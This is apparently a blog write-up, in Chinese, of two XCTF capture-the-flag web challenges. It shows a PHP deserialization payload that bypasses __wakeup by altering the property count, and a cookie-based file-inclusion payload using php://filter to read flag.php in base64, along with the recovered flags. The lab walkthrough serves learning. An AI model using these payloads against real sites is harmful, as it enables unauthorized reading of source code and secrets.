攻防世界--unserialize3 fileinclude

目录

unserialize3

fileinclude


unserialize3

进入场景

class xctf{                      //定义一个名为xctf的类
public $flag = '111';            //定义一个公有的类属性$flag,值为111
public function __wakeup(){      //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
?code=                         
  

代码审计:

代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的 于是 这里实例化xctf类并对其使用序列化(这里就实例化xctf类为对象peak)

<?php
class xctf{                      //定义一个名为xctf的类
public $flag = '111';            //定义一个公有的类属性$flag,值为111
public function __wakeup(){      //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$peak = new xctf();           //使用new运算符来实例化该类(xctf)的对象为peak
echo(serialize($peak));       //输出被序列化的对象(peak)
?>

运行结果

O:4:"xctf":1:{s:4:"flag";s:3:"111";}
序列化字符串各部分简单释义:
O代表结构类型为:类:4表示类名长度:接着是类名:属性(成员)个数
大括号内分别是:属性名类型;长度:名称:值类型:长度:值

要反序列化xctf类的同时还要绕过wakeup方法的执行(如果不绕过wakeup()方法,那么将会输出bad requests并退出脚本)

wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行。因此,需要修改序列化字符串中的属性个数

修改payload

O:4:"xctf":5:{s:4:"flag";s:3:"111";}

flag出现

cyberpeace{623ccbc0b884ccd53291b4b9de67f23d}

fileinclude

进入场景

<?php
if( !ini_get('display_errors') ) {
  ini_set('display_errors', 'On');
  }
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
    @setcookie("language","english");
    @include("english.php");
}
else
{
    @include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>

源代码中看到include("english.php")  可知此处存在文件包含。

$lan的值是从cookie中传过来的。所以对language赋值,构造payload,重放包就可读出flag.php经过base64加密后字符串,base64解密后得到flag

这里涉及到php伪协议的知识

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。所以我们可以使用php://filter伪协议配合文件包含漏洞来读取文件的源码信息,因为文件包含会解析符合PHP语法规范的文件,借助filter伪协议就可以对目标文件进行编码输出,解码即可拿到目标文件的源代码。

格式: php://filter/过滤器|过滤器/resource=待过滤的数据流
?file=php://filter/read=convert.base64-encode/resource=文件
?file=php://filter/convert.base64-encode/resource=文件

构造payload

Cookie: language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag

需要抓包并在cookie中进行传参

得到base64编码后的数据

PD9waHANCiRmbGFnPSJjeWJlcnBlYWNlezdiYjg2MDdiN2ZhYzAwYjQ0MDdkZTg2MzA5NWMyZDE3fSI7DQo/Pg==

解码

flag出现

cyberpeace{7bb8607b7fac00b4407de863095c2d17}

php伪协议补充

php伪协议详解
https://blog.csdn.net/gental_z/article/details/122303393?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167341027516800192210545%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=167341027516800192210545&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~baidu_landing_v2~default-1-122303393-null-null.142
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

tzyyyyyy

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值